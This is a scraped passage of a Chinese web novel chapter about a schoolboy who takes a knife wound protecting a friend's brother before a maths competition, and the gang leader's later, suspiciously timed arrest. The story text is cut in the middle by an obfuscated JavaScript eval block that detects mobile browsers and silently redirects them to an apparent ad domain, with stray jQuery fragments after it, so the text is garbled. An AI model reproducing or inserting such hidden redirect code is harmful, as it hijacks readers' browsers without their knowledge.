江川脸色苍白,唇色也很淡,鼻翼还坠着极细密的汗珠,一看就知道疼得厉害,只不过在强撑。可他听见方清珏的质问,却第一时间勾了勾唇,露出一个浅淡的笑。
“没什么。”他声音仍旧有点颤,“就是意外碰到了。”
“屁!”胖子愤愤地骂了一句。
江川瞪了他一眼,胖子只当眼睛坏了没看见,继续往下讲:“明明是发现那帮人蹲在胡同那,怕他们堵方程,故意把人给引走了。”
方清珏在巷子口报警时听到了几句对话,但听得稀里糊涂的,这回总算捋顺了逻辑。他喉咙发紧地问:“所以你就冒充他?”
江川没反驳。
他的默认像是压死骆驼的最后一根稻草,又像是燎尽荒原的星星之火,瞬间将方清珏引爆。
“你是傻吗?”
他兀地喊了出来。
明明有那么多方法,这个人却偏偏选择了最简单也最粗暴的一种,丝毫没拿自己的命当回事。
尤其是他这么做还是为了方程。
这让方清珏愤怒到了顶点,又非常难受,比听见林真真说她只有方程这么一个儿子的时候还要难受。
胖子一听,顿时不乐意了,“你小子怎么说话呢?川哥这样还不是为了你哥?”
方清珏用力咬紧后槽牙,咬得牙齿咯吱咯吱作响。他实在不懂方程到底哪里好,值得江川这样对待,不由得尖刻地问:“他谈恋爱和你有什么关系?用得着你给他当爱情守门员?”
“你别激动。”江川的声音虽然虚弱,却很平静,“先消消气。”
他的态度让方清珏感觉自己一拳打在了棉花上,深深的无力感让焦躁的情绪迅速占据了上风,瞬间就烦得想从车上跳下去。
他深深地看着江川,看了得有几十秒,却未能从那双浅淡的眼眸里读出任何情绪。
方清珏彻底冷了脸,眼里的锋芒竟是前所未有的尖锐。他收回视线,坐直身体,没有再说话的意思。
车里突然安静下来,气氛蓦然变得压抑。
江川这才察觉自己说错了话,可他不确定方清珏到底在气什么,不好轻易开口,便用求助的目光看向胖子,希望他能说几句话活跃活跃气氛。
“该。”胖子白了他一眼,那神情仿佛在说你也有今天。
江川:“……”
出租车很快开到了医院。
许是身上的血太吓人,方清珏等人一进医院就被护士领进了病房。医生检查完说幸好伤口不深,但还是缝了几十针。
江川背上的创面太大,是在手术室缝的针,方清珏和胖子守在门口,没看见缝的过程,但在他被推出来的时候,看见了像鱼钩一样,和针线盒里的针差不多粗的弯针。
一想到这东西要在皮肤里扎来扎去,他的脊背就跟着隐隐泛疼,脸色就更臭了。
江川趴在病床上挂水,胖子像门神似的杵在门口,方清珏则坐在病床左边,像只镇宅兽。他们两谁都不开口说话,屋子里又只有江川一个病人,静得有些可怕。
“你怎么来了?”江川试探着逗方清珏,“这么担心我啊?”
方清珏连看都没看他:“废什么话。”
这会儿他已经彻底冷静了下来,不像刚冲进巷子里时那样慌乱,也不像在车里时那样烦闷和无力,万般情绪褪下去,露出蛰伏在根茎深处的愤怒。
他声音很冷,表情更冷,像寒冬腊月凝在窗棂上的冰碴:“到底怎么回事,再撒谎我立刻走人。”
江川无法,只能扭头去看胖子,希望他能帮忙美言几句,没想到胖子再次像没看见似的别过了脸。
他深深地叹了口气,坦白从宽:“我到你家附近的时候,发现有几个黄毛蹲在胡同门口。那几个人经常在我家那片儿打架,我怕他们是冲方程来的,就想和老伍解决完了再去找你哥。”
“你怎么解决?”方清珏乜眼看他,“你打个电话让方程换条路走不就完了吗?我家院子翻出去就是浅水湾,大不了就绕个远,用得到这样吗!”
“谁能想到他们后面还有人。”江川略带讨好地笑了笑,“再说他们也没有打架的意思,只是想拖住我们,不让我们去学校,寸头来了以后才打起来,不信你问老伍。”
江川看向胖子,胖子和他对视了几秒,大发慈悲地点了点头,“他确实是最后来的,而且一来就冲那几个混混发了火,明摆着是知道抓错人赶过来收拾烂摊子的。”
方清珏立刻抓住了重点——他们堵方程,是为了拖住他,不让他坐学校的大巴。但方程还是赶上了,所以寸头知道手下堵错了人。
那么问题来了。
“他怎么知道方程赶上了?”他问。
江川略微思忖了几秒,说:“大巴停在操场,校外人不可能知道都谁在车上。”
“这么说,是咱们学校的人给寸头通风报信?”胖子有点诧异。
“不止。”江川正了正神色,“那个人应该也在大巴车上。”
胖子不解道:“可他为嘛要这样呢?方程上不上大巴车和他有啥关系?”
方清珏的心里突然冒出来一个猜测:“有没有一种可能,想堵方程的人并不是寸头,而是参加了这次省联赛的人。他就在大巴车上,看见方程上车就立刻通知了寸头,寸头知道手下堵错了人,才气冲冲地去找你们算账。”
“可他图什么?”胖子一脸茫然,“他总不会觉得只要方程参加不了,他就能拿到好名次吧?”
胖子无心的一句话,却醍醐灌顶般地拨开了迷雾。方清珏和江川对视一眼,异口同声道:“你真相了。”
“不能吧……”胖子难以置信地张了张嘴,“方程那变态的成绩在市里都出名,谁这么不自量力?”
“他应该也拿过满分,”江川分析道,“所以觉得自己只比方程差了一点点。”
“难道是……”胖子的表情忽然变得非常微妙,“操!他不就拿过一回而已,还真把自己当盘菜了?”
他说着就摸出了手机:“我这就给裴老打电话,让裴老知道知道他是什么人!”
“你有证据?”江川不紧不慢地问。
胖子:“……”
他点击屏幕的手指停滞了一瞬,然后烦躁地骂了一声操,心不干情不愿地将手机收了起来。
方清珏的目光在他们之间游移,“你们知道是谁?”
江川道:“只是怀疑。”
“那你们被堵住的时候为什么不报警?”方清珏说,“警察一查就能查出来是谁在给寸头通气。”
江川一听就笑了:“江湖事江湖了,报警反而会没完没了。”
胖子也说:“这你就不懂了吧。这种小打小闹警察叔叔挺多口头批评几句。”
方清珏的眉头陡然一沉:“都动刀了还小打小闹?!你到底懂不懂法!”
“嘿——!”胖子蓦然站直了,“动手咋了,就这刀伤,还没等结疤他们就能出来报复了,然后咋办?川哥又不是光杆儿一个,你让阿婆咋办!”
方清珏语塞一秒,气得站了起来,“难道就这么算了?”
“你两急什么。”江川抬手扶了下眼镜,眯眼笑了笑,“没听过一句话么,恶人自有天收。”
“你居然还笑得出来?”方清珏恨铁不成钢地说,“就这么错过CMO,我看你高考怎么办!”
“这我倒是无所谓。”江川不大在意地说,“我不参加竞赛也能考上想去的大学,没人干涉我读什么专业。那辆大巴我上不上都行,你哥才是非上不可。”
闻言,方清珏瞬间哑火了,随即就别过脸去没再说话。
方程偏科严重,总分虽然不低,但靠高考还真不一定能进清北。而且林真真一直想让他学商,但方程偏偏想读计算机,如果正常走高考,他的志愿八成会被林真真改掉。
所以他只有参加CMO拿金牌这一条路,在林真真不知情的情况下先和校方取得联系,才能定下想去的专业。
就像江川说得那样,这辆大巴关系着方程的未来,他必须得上。这应该就是他无论如何都要推方程一把的原因。
想通这一点,那股难受劲又去而复返,比之前在车上还强烈。方清珏攥紧手指捏成了拳,指甲用力地掐着掌心,胸口闷胀无比。
“这件事别告诉你哥。”江川说着也警告性地看了一眼胖子,“你也别说。这件事发生的突然,他们动手也不是冲方程,没必要让他跟着内疚。”
胖子听罢拉下了脸。
方清珏一言不发地走了出去,用力摔上了门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139910|164475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
江川这一刀属实没白挨,方程不负所望地拿了省第一。又在十一月全国奥林匹克数学竞赛中以第三名的成绩进入国家集训队,入围国际奥林匹克数学竞赛。
而八中其他人都榜上无名。
学校特意将初中部和高中部集合到一起开了一次全校表彰会,不仅将方程夸得天上有地下无,还因为校园霸凌严厉批评了一个学生。
这人也是道北的,是江川班的学委,叫刘周洋,不仅报名了数学竞赛,还报名了物理竞赛,但都止步于省联赛。
物理好的数学一定不会差,反过来数学好的不一定能学好物理。连方程这种理综偶尔能拿满分的苗子都没说报物理竞赛,他却报了,很多人都笑他不自量力。
刘周洋平时闷声不吭,半天踹不出一个响屁,却在一天晚自习把一个带头嘲笑他的学生堵在了卫生间,差点闹出人命。
这件事轰动一时,连其他学校的人都有所耳闻,学校给他记了大过,并加进了档案。
但刘周洋不服,一直嚷嚷着是被冤枉的,要调监控。蔡主任调完监控,压根没看见第二个进出卫生间的人,便联系家长把他劝退了。
拜他所赐,学校加强了晚自习管理,将所有年级报名晚自习的人都归拢到阶梯教室,由蔡主任亲自看管纪律。
这一下怨声四起,参加晚自习的人少了一大半,刘周洋顿时成了众矢之的,离校一个多月还有人在咒骂他不得好死。
期末考愈来愈近,天气也一天比一天冷。这天,陈序一进教室就往他桌上扔了一袋热包子,“伍哥让给你留两。”
胖子家是开包子铺的,所以他一天三顿都是包子,吃得快吐了,总把带出来的包子往出分。方清珏咬了口包子,听陈序说寸头因为伤人致残被抓了进去。
他连嘴里的馅都顾不上咽,鼓着腮帮子问:“什么时候的事?”
“昨晚。”陈序说,“道北那帮混混都跟耗子一样精,要不是有人提前报了警,很难当场抓现行,更别提关进去了。”
“谁报的警?”
陈序沉吟几秒,像是不知道该不该说,也像不知道该怎么说。
方清珏绷着嗓子,囫囵不清地问:“江川?”
陈序摇了摇头:“不清楚。”
方清珏就此沉默了,垂着眉眼看手里的浸油包子,目光变得深邃锐利。
这现世报来得太突然了,突然得不符合常理。
放学后,他去理发店找江川,看见江川和胖子站在店门口放二踢脚,嘭地一声巨响吓得他一哆嗦。
“喏,压压惊。”江川最先瞧见他,往他手里塞了一块水果硬糖。
“怎么光给他不给我呢!”胖子把手伸进江川的棉衣兜里,抓出来一把五颜六色的硬糖。
他撕开包装纸,把糖扔进嘴里嘎吱嘎吱地嚼了嚼,然后就嫌弃地皱起了眉头:“这玩意儿真难吃,跟泡了醋的玻璃渣子似的。”
闻言,江川捏着他的下巴,凶巴巴地说:“那你别吃,给我吐出来。”
“这也没过年,你们放炮干什么?”方清珏将糖球塞进嘴里,柠檬味的,有点酸,和江川身上的气味很像。
“庆祝啊,庆祝恶人自有天收!”胖子将剩下的糖塞回江川兜里,“还你,全都还你。”
方清珏问:“是你们举报的吗?”
“怎么会是我们呢?”江川扶了下眼镜,眼神非常坦荡,“我们可是光明磊落的良好公民,不干偷鸡摸狗这种事。”
“我听说寸头被抓的时候后背被划了好几道口子,还以为是你们干的。”
“真不是,”江川勾起唇角,露出一个人畜无害,非常清澈的笑,“巧合吧。”
“那是他活该。”胖子哼了一声,“要真是我们,我们怎么可能这么轻易放过他,不得把他后背划烂?”
也是。
方清珏暗忖着,也跟着放了一个二踢脚。
鞭炮在空中炸响的时候,江川仰起头,望着青灰不明的天空翘起了唇角,透明镜片下的双眼微微眯了起来,显得笑意有些森然。
方清珏突然想起,那天江川在医院说恶人自有天收时也是这样笑的。
冷风卷起一地残渣,他不由自主地打了个激灵,忽然感觉脊背有点凉。